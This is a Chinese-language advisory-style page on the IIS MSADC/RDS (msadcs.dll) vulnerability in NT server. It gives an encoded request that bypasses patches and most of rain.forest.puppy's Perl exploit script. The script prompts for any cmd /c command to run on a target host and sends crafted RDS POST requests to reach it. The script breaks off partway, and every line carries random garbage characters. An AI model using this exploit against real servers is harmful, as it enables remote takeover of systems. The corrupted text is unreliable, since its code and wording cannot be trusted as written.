IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
c2?(.UV YcRjbF,|6 涉及程序:
5:CC\!&QBV Microsoft NT server
%r6~5_A ):LJ {.0R 描述:
;-^WUf| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
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详细:
vT%rg r 如果你没有时间读详细内容的话,就删除:
~LO MwMHl c:\Program Files\Common Files\System\Msadc\msadcs.dll
IOTHk+w 有关的安全问题就没有了。
kZ`60X%wE 5[X^1 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
!&SUoa TDtk'=; 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
bU2)pD!N 关于利用ODBC远程漏洞的描述,请参看:
0>Ki([3 3Eiy/ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _rs!6tp :;{U2q+ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
wOHK
dQ' http://www.microsoft.com/security/bulletins/MS99-025faq.asp c4L5"_#`x- .yi.GRk 这里不再论述。
nsw.\(# wzo-V^+q 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
i0p"q p a_QO) /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
'n!;7* 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\^N9Q9{7] wvT!NN
K2 ~O@V;y #将下面这段保存为txt文件,然后: "perl -x 文件名"
Ha)w*1&w" ,a^_
~(C #!perl
pgU54Ef #
D\j1` # MSADC/RDS 'usage' (aka exploit) script
)u\"xxcV #
Sr2c'T" # by rain.forest.puppy
\e'>$8%T #
Pm+H!x, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
!ybEv| = # beta test and find errors!
v[m/>l2[P K{M_ 4'\ use Socket; use Getopt::Std;
*1; <xeVD getopts("e:vd:h:XR", \%args);
mtm BL2? $vGl Z<3g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
y<)Lr}gP tEiN(KA!5 if (!defined $args{h} && !defined $args{R}) {
v{?9PRf\s print qq~
quGb;)3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
l4R:_Z< -h <host> = host you want to scan (ip or domain)
(zJ
TBI' -d <seconds> = delay between calls, default 1 second
kz,Nz09}W -X = dump Index Server path table, if available
\vFkhm -v = verbose
sHQe0"Eo -e = external dictionary file for step 5
VD36ce9 B S b!{|] Or a -R will resume a command session
PcUi+[s;x wF@qBDxg ~; exit;}
{r'#(\ =\:YNP/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
N1#*~/sXh if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Q$kSK+ q! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q3scz if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
YroKC+4"i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?F?!QrL if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
"=yaeEp fKrOz!b if (!defined $args{R}){ $ret = &has_msadc;
##k=='dR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Z"e|DP` iCl,7$[* print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'ky'GzX, . "cmd /c ";
V-7!)&q $in=<STDIN>; chomp $in;
#Fu OTBNvB $command="cmd /c " . $in ;
(]mN09uE L2Gm0 v if (defined $args{R}) {&load; exit;}
~73YOGiGJH ^P&y9dC. print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=C<_rBY &try_btcustmr;
uiDR} T:na\y/{j print "\nStep 2: Trying to make our own DSN...";
#MOEY|6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(MNbABZQ Pfi '+I`s print "\nStep 3: Trying known DSNs...";
E >SnH
&known_dsn;
?N $ BhdJ/C^ print "\nStep 4: Trying known .mdbs...";
wCn W]<+ &known_mdb;
<A"}Krq? b.C!4^ if (defined $args{e}){
}v@w(*)h: print "\nStep 5: Trying dictionary of DSN names...";
;wTl#\|w0 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
XY0Gjo0 '>2xP<ct!& print "Sorry Charley...maybe next time?\n";
qBKIl=
ne exit;
Os?~U/ qrm~=yU% ##############################################################################
KQQR"[z&V 6^UeEmjc sub sendraw { # ripped and modded from whisker
ddlLS sleep($delay); # it's a DoS on the server! At least on mine...
;f0+'W my ($pstr)=@_;
LuR.; TiW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>JrQS"[u die("Socket problems\n");
{gK
i15t if(connect(S,pack "SnA4x8",2,80,$target)){
duT2:~H2 select(S); $|=1;
0=L:8&m print $pstr; my @in=<S>;
]rC6fNhQ select(STDOUT); close(S);
BNuzlR return @in;
vL\wA_z"<H } else { die("Can't connect...\n"); }}
Aw9^}k}UfD fLct!H3 ##############################################################################
8$xg\l0?KK &{/ `Q, sub make_header { # make the HTTP request
m0XK?;\V my $msadc=<<EOT
'S E%9 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
s26:(J
[{ User-Agent: ACTIVEDATA
VU}UK$JN Host: $ip
hY/SR'8 Content-Length: $clen
u{tjB/K& Connection: Keep-Alive
VO#]IXaP qmtVk ADCClientVersion:01.06
>L?/Ph %d Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@M:j~ h* h+VM --!ADM!ROX!YOUR!WORLD!
L?4c8!Q Content-Type: application/x-varg
`3/,- Content-Length: $reqlen
n=L;(jp<j p,$1%/m EOT
rsOon2| ; $msadc=~s/\n/\r\n/g;
[[oX$0Fp\! return $msadc;}
F+*:
>@3 K?(ls$ ##############################################################################
k]ptk^ L8/o9N1 sub make_req { # make the RDS request
nPR_:_^ my ($switch, $p1, $p2)=@_;
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